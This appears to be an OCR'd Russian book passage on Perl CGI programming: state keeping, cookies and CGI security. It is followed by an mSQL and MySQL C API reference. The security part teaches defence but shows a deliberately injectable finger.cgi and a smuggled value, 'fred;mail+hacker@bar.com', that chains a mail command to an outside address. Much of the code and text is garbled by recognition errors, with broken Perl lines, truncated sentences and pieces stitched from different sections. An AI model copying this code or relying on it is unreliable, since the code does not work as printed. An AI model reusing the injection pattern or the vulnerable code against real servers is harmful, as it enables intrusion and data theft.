    После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

    В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.



    Важные особенности сценариев CGI

    Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

    Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

    Запоминание состояния

    Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом "без памяти". Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

    Важные особенности сценариев CGI
    Рис. 9-2. Множественные запросы форм

    Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.


    В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

    Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

    Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. "Официально" он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные "боковые ветви". Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.


    Многие сайты по- прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле "имя регистрации/пароль". Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

    Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

    Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.


    Пример 9-4. Сохранение состояния в сценарии CGI

    #!/usr/bin/perl -w

    use CGI;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    # Это файл, который будет выводиться, может быть любым.

    $output = new CGI;

    sub print_range { # Это главная функция программы, my $start = shift;

    # Начальная строка файла, my $count = 0;

    # Указатель, my $line = "";

    # Текущая строка файла, print $output->header,

    $output->start_html('Moй словарь');

    # Создает HTML с заголовком 'Мой словарь', print "\n";

    while (($count < $start) and ($line = )) { $count++; }

    # Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? ) ) { print $line; $count++; }

    # Напечатать очередные 10 строк.

    my $newnext = $start+10; my $newprev = $start-10;

    # Установить начальные строки для URL 'Next' и 'Previous',

    print "";

    unless ($start == 0) { # Включить URL 'Previous', если только вы

    # уже не в начале .

    print qq%
    Previous%; }

    unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

    print qq% Next%;

    }

    print "HTML; HTML

    exit(0); }

    # Если данных нет, начать сначала,

    if (not $output->param) {

    &print_range(0); }

    # Иначе начать со строки, указанной в данных.

    &print_range($output->param('start'));

    В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

    Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.


    Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

    - Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

    Пример 9-5. Устойчивое запоминание состояния

    #!/usr/bin/perl -w

    use CGI;

    umask 0;

    open(F,"/usr/dict/words") or die("He могу открыть! $!");

    chdir("users") or die("He могу перейти в каталог $!");

    # Это каталог, где будут храниться все данные

    # о пользователе.

    Soutput = new CGI;

    if (not$output->param) {

    print $output->header,

    $output->start_html('Мой словарь');

    print "HTML;



    <р>Введите свое имя пользователя:





    HTML

    exit(0); }

    $user = $output->param('username');

    ## Если файла пользователя нет, создать его и установить

    ## начальное значение в '0',

    if ( not -e "$user" ) {

    open (U, ">$user") or die("He могу открыть! $!");


    print U "0\n";

    close U;

    &print_range('0');

    ## если пользователь существует и в URL не задано

    ## начальное значение, прочесть последнее значение и начать с него.

    } elsif ( not $output->param('start') ) {

    open(U,"Suser") or die("He могу открыть пользователя! $!");

    $start = ; close U;

    chomp $starl;

    uprint range($start);

    ## Если пользователь существует и в URL не указано

    ## начальное значение, записать начальное значение

    ## в файл пользователя и начать вывод.

    } else{

    open(U,">$user") or die("He могу открыть пользователя для записи! $!");

    print U $output->param('start'), "\n";

    close U;

    &print_range($output->param('start1)); }

    sub print_range {

    my $start = shift;

    my $count = 0;

    my $line = " "

    print $output->header,

    $output->start_html(' Мой словарь ');

    print "
    \n";

    while (($count < $start) and ($line = )) { $count++; }

    while (($count < $start+10) and ($line = ) )

    {

    print $line; $count++;

    }

    my $newnext = $start+10;

    my $newprev = $start-10;

    print "
    ";

    unless (Sstart == 0)

    {

    print

    qq%

    Previous
    %;

    }

    unless (eof) { print qq% Next%;

    # Заметьте, что имя пользователя 'username' добавлено к URL.

    # В противном случае CGI забудет, с каким пользователем имел дело.

    }

    print $output->end_html;

    exit(0');

    }

    Меры безопасности

    При работе серверов Интернет, будь они серверами HTTP или другого рода, соблюдение мер безопасности является важнейшей заботой. Обмен данными между клиентом и сервером, совершаемый в рамках

    CGI, выдвигает ряд важных проблем, связанных с защитой данных. Сам протокол CGI достаточно защищен. CGI-программа получает данные от сервера через стандартное устройство ввода или переменные окружения, и оба эти метода являются безопасными. Но как только CGI-программа получает управление данными, ее действия ничем не ограничены. Плохо написанная CGI-программа может позволить злоумышленнику получить доступ к системе сервера. Рассмотрим следующий пример CGI-программы:


    #!/usr/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output"param('username');

    print $output->header, $output->start_html('Finger Output'),

    "
    ", 'finger $username', "
    ", $output->end_html;

    Эта программа обеспечивает действующий CGI-интерфейс к команде finger. Если запустить программу просто как finger.cgi, она выведет список всех текущих пользователей на сервере. Если запустить ее как finger.cgi?username=fred, то она выведет информацию о пользователе "fred" на сервере. Можно даже запустить ее как finger. cgi?userna-me=bob@f oo.com для вывода информации об удаленном пользователе. Однако если запустить ее как finger.cgi?username=fred;mail+hac-ker@bar.com
    Одно из решений состоит в синтаксическом анализе поступивших от формы данных с целью поиска злонамеренного содержания. Можно, скажем, искать символ ";" и удалять все следующие за ним символы. Можно сделать такую атаку невозможной, используя альтернативные методы. Приведенную выше CGI-программу можно переписать так:

    #!/usr/local/bin/perl -w

    use CGI;

    my $output = new CGI;

    my $username = $output->param('username');

    $|++;

    # Отключить буферизацию с целью направления всех данных клиенту,

    print $output->header, $putput->start_html('Finger Output'), "
    \n";


    $pid = open(C_OUT, "-|");# Эта идиома Perl порождает дочерний процесс и открывает

    # канал между родительским и дочерним процессами,

    if ($pid) {# Это родительский процесс.

    print ; ft Вывести выходные данные дочернего процесса.

    print "
    ", $output->end_html;

    exit(O); ft Завершить программу. }

    elsif (defined $pid) { # Это дочерний процесс.

    $|++; # Отключить буферизацию.

    ехес('/usr/bin/finger',$username) or die("exec() call failed.");

    # Выполняет программу finger с Susername в качестве одного единственного

    # аргумента командной строки. } else { die("неудачная попытка fork()"); }

    # Проверка ошибок.

    Как видите, это не на много более сложная программа. Но если запустить ее как finger.cgi?username=fred;mail+hacker@bar.com
    Важные особенности сценариев CGIВ качестве дополнительной меры безопасности этот сценарий запускает finger явно как /usr/bin/finger. В маловероятном случае, когда веб-сервер передает вашей CGI-программе необычный PATH, запуск просто finger может заставить выполниться не ту программу, которая нужна. Еще одну меру безопасности можно принять, изучив переменную окружения PATH и убедившись, что она имеет приемлемое значение. Неплохо удалить из PATH текущий рабочий каталог, если только вы уверены, что это не тот случай, когда действительно нужно выполнить находящуюся в нем программу.

    Другое важное соображение, касающееся безопасности, связано с правами пользователя. По умолчанию веб-сервер запускает программу CGI с правами того пользователя, который запустил сам сервер. Обычно это псевдопользователь, такой как "nobody", имеющий ограниченные права, поэтому у CGI-программы тоже мало прав. Обычно это хорошо, ибо, если злоумышленник сможет получить доступ к серверу через CGI-программу, ему не удастся причинить много вреда. Пример программы, крадущей пароли, показывает, что можно сделать, но фактический ущерб для системы, как правило, ограничен.


    Однако работа в качестве пользователя с ограниченными правами ограничивает и возможности CGI. Если программе CGI нужно читать или записывать файлы, она может делать это только там, где у нее есть такое разрешение. Например, во втором примере запоминания состояния для каждого пользователя ведется файл. CGI-программа должна иметь разрешение на чтение и запись в каталоге, содержащем эти файлы, не говоря уже о самих файлах. Это можно сделать, создав каталог в качестве того же пользователя, что и сервер, с правами чтения и записи только для этого пользователя. Однако для такого пользователя, как "nobody", только root имеет подобную возможность. Если вы не суперпользователь, то вам придется общаться с администратором системы при каждом изменении в CGI.

    Другой способ - сделать каталог свободным для чтения и записи, фактически сняв с него всякую защиту. Поскольку из внешнего мира получить доступ к этим файлам можно только через вашу программу, опасность не так велика, как может показаться. Однако если в программе обнаружится прореха, удаленный пользователь получит полный доступ ко всем файлам, в том числе возможность уничтожить их. Кроме того, законные пользователи, работающие на сервере, также получат возможность изменять эти файлы. Если вы собираетесь воспользоваться этим методом, то все пользователи сервера должны заслуживать доверия. Кроме того, используйте открытый каталог только для файлов, которые необходимы CGI-программе; иными словами, не подвергайте риску лишние файлы.

    Что еще можно почитать

    Если это ваше первое обращение к CGI-программированию, дальнейшее изучение можно продолжить разными путями. По этому предмету написаны десятки книг, многие из которых не предполагают никакого знакомства с программированием. "CGI Programming on the World Wide Web" издательства O'Reilly and Associates охватывает материал от простых сценариев на разных языках до действительно поразительных трюков и ухищрений. Общедоступная информация имеется также в изобилии в WWW. Неплохо начать с CGI Made Really Easy (Действительно просто о CGI) по адресу http://www.jmarshall.com/easy/cgi/.



    

        Базы данных: Разработка - Управление - Excel



  • . Эта функция полезна только вместе с веб-сервером Apache.



    MSQLCAPI

    API для языка С в mSQL версии 2 не имеет принципиальных отличий от реализации в mSQL 1. Однако были добавлены некоторые новые функции, и было внесено несколько изменений в уже существующие функции. Если функция может быть использована только в mSQL 2, на это обращается особое внимание.

    Типы данных

    mSQL С API кроме стандартных типов данных языка С использует некоторые свои типы. Они определены в заголовочном файле 'msql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку mSQL.

    m_result

    Структура, содержащая результаты оператора SELECT (или SHOW). Доступ к результатам запроса следует осуществлять через элемент этой структуры m_row.

    m_row

    Одна запись из данных, возвращаемых запросом SELECT. Результаты всех типов данных mSQL хранятся в этом типе (как массив символьных строк).

    m_field

    Структура, содержащая всю информацию, которая касается отдельного поля таблицы. Элементы структуры m_field могут быть проверены напрямую и имеют следующее строение:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей поле. Это значение пустое (null), если результирующий набор не относится к настоящей таблице.

    int type

    Тип поля. Является целым числом, соответствующим типам данных mSQL SQL, определенным в заголовочном файле msql.h.

    int length

    Длина поля в байтах.
    int flags

    Ноль или более флагов. Доступ к флагам осуществляется- через следующие макросы:

    IS_PRI_KEY(flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле определено как NOT NULL.

    msqIConnect

    int msqIConnect ( char*host )

    Создает подключение к серверу mSQL с указанным именем хоста или IP-адресом. Если в аргументе передать пустое значение, будет создано подключение к серверу mSQL на локальном хосте, с использованием сокетов Unix. Функция возвращает описатель базы данных, применяемый для связи с сервером баз данных. В случае ошибки вернется — 1.

    Пример

    /* Создать подключение к серверу баз данных на локальном хосте*/

    dbh = msqlConnect( (char*)NULL );

    if (dbh == -1) {

    print " Ошибка при подключении!\n";

    exit(1); }

    msqISelectDB

    int msqISelectDB ( int sock , char*dbName )

    Выбирает базу данных для указанного подключения. Базу данных необходимо выбрать до того, как будут посланы любые запросы к серверу баз данных. В случае ошибки возвращается — 1.

    Пример

    /* Выбрать базу данных "mydatabase" */

    result = msqlSelectDB( dbh, "mydatabase" );

    if (result == -1) {

    print "Ошибка при выборе базы данных! \n";

    exit(1); }

    msqIQuery

    int msqlQuery( int sock , char*query )

    Выполняет указанный SQL-запрос. В mSQL 2 в возвращаемом значении содержится количество записей, измененных запросом (или выбранных запросом SELECT). В mSQL 1 при успешном выполнении возвращается ноль. В случае ошибки обе версии возвращают — 1.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    msqIStoreResult

    m_result *msqlStoreResult()

    Сохраняет результат запроса SELECT. Эту функцию вызывают сразу после вызова msqIQuery с запросом SELECT. Результаты запроса сохраняются в структуре m_result. Новые запросы посылаются серверу баз данных только после вызова этой функции. Каждая структура m_result должна быть освобождена с помощью msqlFreeResult по завершении работы с ней.

    Пример

    m_result *results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    IK. 897

    /* К данным из этого запроса можно обращаться через'results'. Теперь можно выполнять новые запросы */

    msqIFreeResult

    void msqIFreeResult ( m_result*result )

    Освобождает память, связанную со структурой m_result.

    Пример

    m_result "results;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    /* Выполнить работу */

    msqIFreeResult(results);

    msqIFetchRow

    m_row msqIFetchRow ( m_result*result )

    Выбирает одну запись из результирующего набора. Данные помещаются в структуру m_row, которая является массивом символьных строк. Каждый успешный вызов функции msqIFetchRow возвращает следующую запись до тех пор, пока не будет достигнут конец набора, тогда будет возвращено нулевое значение.


    Пример

    m_result *results;

    m_row "row;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    printf("Третье поле первой записи в таблице: %s\n", row[2]);

    msqlDataSeek

    void msqlDataSeek ( m_result* result, int pos )

    Устанавливает курсор, указывающий функции msqIFetchRow, .какую строку выбирать при следующей операции. Установив курсор в позицию 0, вы переместите его в начало данных. Установив курсор в позицию после последней записи, вы поместите его в конец данных.

    Пример

    m_result *results;

    m_row Vow;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    row = msqlFetchRow(results);

    /* Вернуться к исходной позиции */ msqlDataSeek(results, 0);

    msqINumRows

    int msqINumRows ( m_result*result )

    Возвращает число строк в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult(); rows = msqlNumRows(results);

    msqIFetchField

    m_field "msqIFetchField ( m_result*result )

    Возвращает информацию о полях в результирующем наборе. Каждый успешный вызов функции msqIFetchField вернет структуру m_f ield для очередного поля, пока полей больше не останется, и тогда будет возвращено пустое значение.

    Пример

    m_field *field;

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о первом поле

    в результирующем наборе */

    field = msqlFetchField(results);

    /* 'field' теперь содержит информацию о втором поле в том же наборе записей */

    msqlFieldSeek

    void msqlFieldSeek ( m_result*result , int pos )

    Устанавливает курсор, указывающий функции msqlFetchField какое поле выбирать в следующий раз. Установив курсор в позицию после последнего поля, вы, собственно, установите его просто после последнего поля.

    Пример

    m_result "results; m_field 'field;


    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    field = msqlFetchField(results);

    /* Вернутся к исходной позиции */

    msqlFieldSeek(results, .0);

    msqlNumFields

    int msqlNumFields ( m_result* result )

    Возвращает число полей в результирующем наборе.

    Пример

    rows_returned = msqlQuery( dbh, "SELECT FROM people" );

    results = msqlStoreResult();

    fields = msqlNumFields(results);

    msqICIose

    int msqICIose ( int sock )

    Закрывает подключение к серверу баз данных mSQL.

    Пример

    dbh = msqlConnect( (char')NULL );

    /* Do work */

    msqlClose(dbh);

    msqIListDBs

    m_result *msqlListDBs ( int sock )

    Возвращает структуру m_result, содержащую имена всех баз данных, доступных на сервере баз данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    databases = msqlListDBs(dbh);

    /* 'databases' содержит теперь имена всех баз данных на сервере*/

    msqIListTables

    m_result *msqIListTables ( int sock )

    Возвращает структуру m_result, содержащую имена всех таблиц текущей базы данных. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    tables = msqlListTables(dbh);

    /* 'tables' содержит теперь имена всех таблиц текущей базы данных*/

    msqIListFields

    m_result 'msqIListFields ( int sock , char*tableName )

    Возвращает структуру m_result, содержащую имена всех полей в указанной таблице. Как и все структуры m_result, значение, возвращаемое этой функцией, должно быть освобождено с помощью msqlFreeResult после завершения работы с ним.

    Пример

    fields = msqlListFields(dbh, "people");

    /* 'fields' содержит теперь имена всех полей

    в таблице'people' */

    msqIListlndex

    m_result 'msqIListlndex ( int sock , char*tableName , char*index )

    Возвращает структуру m_result, содержащую информацию о заданном индексе. Возвращаемый набор данных будет содержать тип индекса (в настоящее время поддерживается только тип 'avl') и содержащиеся в индексе имена полей. Как и все структуры m_result, значение, возвра щаемое этой функцией, должно быть освобождено с помощью msqlFreеResult после завершения работы с ним.

    Пример

    index = msqll_istIndex(dbh, "people", "idx1");

    /* Теперь'index' содержит информацию об индексе 'idx1' в таблице 'people' */

    MySQL С API

    MySQL С API кроме стандартных типов данных языка С использует некоторые свои типы данных. Они определены в заголовочном файле 'mysql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку MySQL.

    Типы данных

    MYSQL

    Структура, представляющая соединение с сервером баз данных. Элементы структуры среди прочего содержат имя текущей базы данных и информацию о клиентском подключении.

    MYSQL_FIELD

    Структура, которая содержит всю информацию, касающуюся отдельного поля таблицы. Из всех типов, созданных для MySQL, это единственная структура, к полям которой можно получить прямой доступ из клиентских программ. Поэтому необходимо знать строение этой структуры:

    char *name

    Имя поля.
    char *table

    Имя таблицы, содержащей это поле. Для результирующих наборов, которые не представляют реальных таблиц, это значение пустое.

    char *def

    Значение по умолчанию этого поля, если таковое существует. Это значение всегда будет null до вызова mysql_list_f ields, после чего в переменной будет корректное значение для полей, у которых есть значение по умолчанию.

    еnum enum_field_types type

    Тип поля. Он является одним из типов данных MySQL SQL.
    unsigned int length

    Размер поля, основанный на типе поля.
    unsigned int max_length

    После вызова mysql_list_fields здесь находится длина максимального значения, содержащегося в текущем результирующем наборе.

    unsigned int flags

    Ноль или более флагов. В настоящее время определены следующие флаги:

    NOT_NULL_FLAG

    Если установлен, поле не может содержать значение
    NULL. PRI_KEY_FLAG

    Если установлен, поле является первичным ключом.

    UNIQUE_KEY_FLAG

    Если установлен, поле является частью уникального ключа.

    MULTIPLE_KEY_FLAG

    Если установлен, поле является частью ключа.

    BLOB_FLAG

    Если установлен, поле имеет тип BLOB или TEXT.

    UNSIGNED_FLAG

    Если установлен, поле имеет числовой тип и содержит беззнаковое значение.

    ZEROFILL_FLAG

    Если установлен, поле было создано с флагом ZEROFILL.

    BINARY_FLAG


    Если установлен, поле имеет тип CHAR или VARCHAR с флагом BINARY.

    ENUM_FLAG

    Если установлен, поле имеет тип ENUM.

    AUTO_INCREMENT_FLAG

    Если установлен, поле имеет атрибут AUTO_INCREMENT.

    TIMESTAMP_FLAG

    Если установлен, поле имеет тип TIMESTAMP.

    unsigned int decimals

    При использовании с числовым полем выдает длину дробной части.

    Для облегчения использования данных MYSQL_FIELD созданы следующие макросы:

    IS_PRI_KEY( flags)

    Возвращает true, если поле является первичным ключом.

    IS_NOT_NULL(flags)

    Возвращает true, если поле имеет ограничение NOT NULL.

    IS_ELOE(flags)

    Возвращает true, если поле имеет тип BLOB или TEXT.

    IS_NUM(type)

    Возвращает true, если тип поля является числовым.

    MYSQL_FIELD_OFFSET

    Числовой тип, указывающий на позицию "курсора" в строке (записи).

    MYSQL_RES

    Структура, содержащая результат команды SELECT (или SHOW). Доступ к данным из запросов следует осуществлять через элемент этой структуры MYSQL_ROW.

    MYSQL_ROW

    Одна запись из данных, возвращаемых запросом SELECT. Все результаты, полученные от MySQL, хранятся в этом типе (как массив символьных строк).

    my_ulonglong

    Числовой тип, используемый для кодов возврата MySQL. Значение может находиться в диапазоне от 0 до 1.8Е19, и —1 используется для указания на ошибку.

    my sql_affected_ro ws

    my_ulonglong mysql_affected_rows(MYSQL*mysql)

    Возвращает число записей, измененных последним запросом. При использовании с запросом SELECT эта функция идентична mysql_num_rows (вернет число записей в результирующем наборе). С остальными запросами функция может быть использована после вызова mysql_query, которая послала запрос.

    Пример

    /* Вставить запись в таблицу 'people' */

    mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin',

    16)";

    num = fflysql_affected_rows(&mysql);

    /* Если операция INSERT удалась, переменная num должна быть равна 1, и -1, если произошла ошибка */

    mysql_close

    void mysql_close(MYSQL*mysql)

    Завершает соединение с сервером баз данных MySQL. Если при разрыве соединения возникли проблемы, сообщение об ошибке можно посмотреть, используя функцию mysql_err.


    Пример

    mysql_close(&mysql);

    /* Теперь подключение должно быть завершено */

    mysql_connect

    MYSQL *mysql_connect(MYSQL*mysql, const char*host, const char*user, const char *passwd)

    Создает подключение к серверу баз данных MySQL. Первым параметром должна быть предварительно объявленная структура MYSQL. Второй параметр - это имя хоста или IP-адрес сервера MySQL. Если хост задан пустой строкой или как localhost, будет выполнено подключение к серверу MySQL на той же машине. Последние два параметра -это используемые для подключения имя пользователя и пароль. Пароль вводится открытым текстом и не шифруется. Функция возвращает структуру MYSQL, переданную первым аргументом, либо NULL, если соединение не было установлено. (Так как структура содержится в аргументе, единственное применение возвращаемого значения - это проверка успешности подключения.)

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL, вместо нее следует пользоваться функцией mysql_real_connect.

    Пример

    /* Создать подключение к локальному серверу MySQL, используя имя "bob" и

    пароль "mypass" */ MYSQL mysql;

    if(!mysql_connect(&mysql, "", "bob", "mypass")) {

    printf("Oшибкa при подключении!\n");

    exit(0); }

    /* Если мы дошли сюда, значит, успешно подключились к серверу баз данных*/

    mysql_create_db

    int mysql_create_db(MYSQL*mysql, const char*db)

    Создает полностью новую базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL CREATE DATABASE. Следует использовать его с помощью функции mysql_query.

    Пример

    /* Создать новую базу данных 'new_database' */

    result = mysql_create_db(&mysql, "new_database");

    mysql_data_seek

    void mysql_data_seek(MYSQL_RES*res, unsigned int offset)

    Передвигает курсор на определенную запись в наборе записей. Первый аргумент является структурой MYSQL_RES, которая содержит записи. Второй аргумент указывает на номер записи, которую вы хотите найти. Номер первой записи - 0. Эта функция работает, только если данные были выбраны с помощью mysql_store_ result.


    Пример

    /* Перейти к последней записи в результате */

    mysql_data_seek(results, mysql_num_rows(results)-1);

    mysql_debug

    mysql_debug(char *debug)

    Управляет отладочными функциями, если при компиляции клиента была разрешена отладка. MySQL использует отладочную библиотеку Fred Fish, которая имеет слишком много параметров и особенностей, чтобы быть описанной в этой книге.

    Пример

    /* Это обычное использование отладочной библиотеки. Информация о деятельности

    клиентских программ записывается в файл "debug.out"*/

    mysql_debug("d:t:0, debug. out");

    mysql_drop_db

    int mysql_drop_clb(MYSQL*mysql, const char*db)

    Уничтожает базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    MySQL С APIЭта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL DROP DATABASE. Его следует использовать через mysql_query вместо функции mysql_drop_db.

    Пример

    /* Уничтожить базу данных 'old_database' */

    result = mysql_drop_db(&mysql, "old_database");

    mysql_dump_debug_info

    int mysql_dump_debug_info(MYSQL*mysql)

    Эта функция заставляет сервер баз данных записывать отладочную информацию о текущем подключении в свои журнальные файлы. Для использования этой функции у вас должно быть право Process для текущего подключения. Функция вернет ноль в случае успешного выполнения операции и ненулевое значение в случае ошибки.

    Пример

    result = mysql_dump_debug_info(&mysql);

    /* Теперь журналы сервера должны содержать информацию о текущем

    подключении */

    mysql_eof

    my_bool mysql_eof(MYSQL_RES* result)

    Возвращает ненулевое значение, если больше нет данных в проверяемом наборе записей. При обнаружении ошибки в результирующем наборе возвращается ноль. Эта функция работает, только если результирующий набор был получен функцией mysql_use_result.

    Пример

    /* Прочитать до конца набор записей */

    while((row = mysql_fetch_row( results.))) {

    /'Обработка 7 }


    if(!mysql_eof(results))

    {

    printf("Ошибка. Конец результата не достигнут.\n");

    mysql_errno

    unsigned int mysql_errno(MYSQL*mysql)

    Возвращает номер последней ошибки, связанной с текущим подключением. Если подключение прошло без ошибок, функция возвращает ноль.

    Пример

    error = mysql_errno(&mysql);

    printf("HoMep последней ошибки: %d\n", error);

    mysql_error

    char *mysql_error(MYSQL*mysql)

    Возвращает сообщение о последней ошибке, связанной с текущим подключением. Если при подключении не было ошибок, функция возвращает пустую строку.

    Пример

    printf("Последняя ошибка была: '%s'\n", mysql_error(&mysql));

    mysq l_esca pe_strin g

    unsigned int mysql_escape_string(char*to, const char "from, unsigned int

    length)

    unsigned int mysql_escape_string(char*to, const char *from)

